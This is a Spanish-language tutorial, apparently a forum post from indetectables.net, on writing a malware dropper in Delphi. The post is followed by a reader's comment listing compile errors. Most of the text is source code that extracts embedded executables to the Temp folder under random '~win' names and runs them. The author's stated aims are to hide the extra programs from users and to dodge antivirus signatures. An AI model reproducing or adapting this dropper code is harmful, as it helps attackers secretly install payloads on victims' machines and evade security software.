Ok, comenzemos…
¿Que es un dropper?
Es un programa que extrae 1 o más archivos en un computador, y usualmente los ejecuta o abre una vez son extraidos. Comportamientos comunes en los droppers son su ejecución invisible, más se pueden hacer muchas otras cosas.
Esto crea el efecto para un usuario comun que pensara que solo esta ejecutando una sola aplicación, cuando en verdad pueden haber otras tantas.
¿Porque un dropper y no un binder?
Por su flexibilidad, porque su header es menos perseguido que el de los archivos bindeados para los AV que cargan firmas como locos y porque son un buen inicio para poder entender tanto binders como droppers.
Conceptos para hacer un dropper
¿Como incluir un archivo en un programa?
Tenemos las siguientes posibilidades:
* Como un array de tipo caracter [el archivo letra por letra]
* Como un resource. [el archivo como un recurso del programa]
* Iniciando con el header del archivo al final del programa, “union por la cola” [Tipo binder]
Añadiendola como un array nos ocuparia mucho más espacio, y la union tipo binder no nos interesa por el momento. Añadirlo como un resource sera nuestra elección:
Creando un resource: Esto se puede hacer en notepad y luego guardarlo como un archivo con extension .RC

Delphi nos avisara de la ausencia del .RES y lo creara por nosotros siguiendo la ruta que encuentre en el .RC y relacionando ambos archivos en una libreria de recursos .RES.
Creando el dropper el Delphi
Bueno, para ahorrar espacio en el codigo añado los comentarios de que es cada cosa:
* Abrimos Delphi, en un nuevo proyecto copiamos el source siguiente.
Luego guardamos como .dpr (asegurarse que el archivo .RC y los archivos .exe para droppear esten en la misma.
// Extraer un resource a un archivo y ejecutarlo
procedure ExtractFile(whichone: String);
var
WhichExtention: String;
TempDirBuff,TempFileNameBuff,ResultFilePath,ResourcePointer: PChar;
ResourceLocation: HRSRC;
ResourceSize,byteswritten: Longword;
ResDataHandle: THandle;
FileHandle: THandle;
begin
//Obtener memoria
getMem(TempDirBuff,MAX_PATH+1);
getMem(TempFileNameBuff,MAX_PATH+1);
//Obtener la ruta Temp
GetTempPath(MAX_PATH+1,TempDirBuff);
//Obtener un nombre para el archivo
GetTempFileName(TempDirBuff,‘~win’,0,TempFileNameBuff);
//Obtener la extension de los archivos extraidos
if whichone = File1 then WhichExtention := File1Extention
else WhichExtention := File2Extention;
//Crear un string para la ruta C:\Windows\Temp\~winxxx.exe
ResultFilePath := PChar(Copy(TempFileNameBuff,0,Length(TempFileNameBuff) - 3) + WhichExtention);
//Liberar memoria
freeMem(TempDirBuff);
freeMem(TempFileNameBuff);
//Buscar el resource
ResourceLocation := FindResource(HInstance,PChar(whichone),RT_RCDATA);
if ResourceLocation = 0 then exit;
//Obtener el tamaño del resource
ResourceSize := SizeofResource(HInstance,ResourceLocation);
if ResourceSize = 0 then exit;
//Cargar el recurso en memoria
ResDataHandle := LoadResource(HInstance,ResourceLocation);
if ResDataHandle = 0 then exit;
//Asegurar el resource
ResourcePointer := LockResource(ResDataHandle);
if ResourcePointer = NIL then exit;
//Crear nuestro archivo
FileHandle := CreateFile(ResultFilePath,GENERIC_WRITE,FILE_SHARE_WRITE,NIL,CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,0);
if FileHandle = INVALID_HANDLE_VALUE then exit;
//Escribir Resource en un archivo
WriteFile(FileHandle,ResourcePointer^,ResourceSize,byteswritten,NIL);
//Cerrar archivo
CloseHandle(FileHandle);
//Ejecutar archivo
ShellExecute(0,NIL,ResultFilePath,NIL,NIL,SW_SHOW);
//return
end;
// Aqui es el inicio del programa
begin
ExtractFile(File1); //Extraer + ejecutar Archivo1
ExtractFile(File2); //Extract + ejecutar Archivo2
//Fin del programa
end.
Ok, si miramos de cerca el codigo, nuestro dropper ahora tomara los archivos que esten en el .RES, los extraera y luego los ejecutara en la carpeta temp bajo un nombre aleatorio. Ahora que ya tenemos lo necesario para que nuestro dropper funcione, compilamos y ya esta.
Tutorial Elaborado Por: status.0 [ www.indetectables.net ]
estimados muy buen tutorial pero no me funiona
lo hago on delphi 7
pero me sale error
al tratar de compilar
estimados este es el error que me arroja porfabor algun dato para saber que hago mal
Build
[Warning] DROPER.dpr(2): File not found: ‘‘RSCR.res’’
[Error] DROPER.dpr(6): Illegal character in input file: ‘‘’ ($91)
[Error] DROPER.dpr(7): ‘;’ expected but identifier ‘File2′ found
[Error] DROPER.dpr(7): Illegal character in input file: ‘‘’ ($91)
[Error] DROPER.dpr(8): ‘;’ expected but identifier ‘File1Extention’ found
[Error] DROPER.dpr(8): Illegal character in input file: ‘‘’ ($91)
[Error] DROPER.dpr(9): Illegal character in input file: ‘‘’ ($91)
[Error] DROPER.dpr(28): Illegal character in input file: ‘‘’ ($91)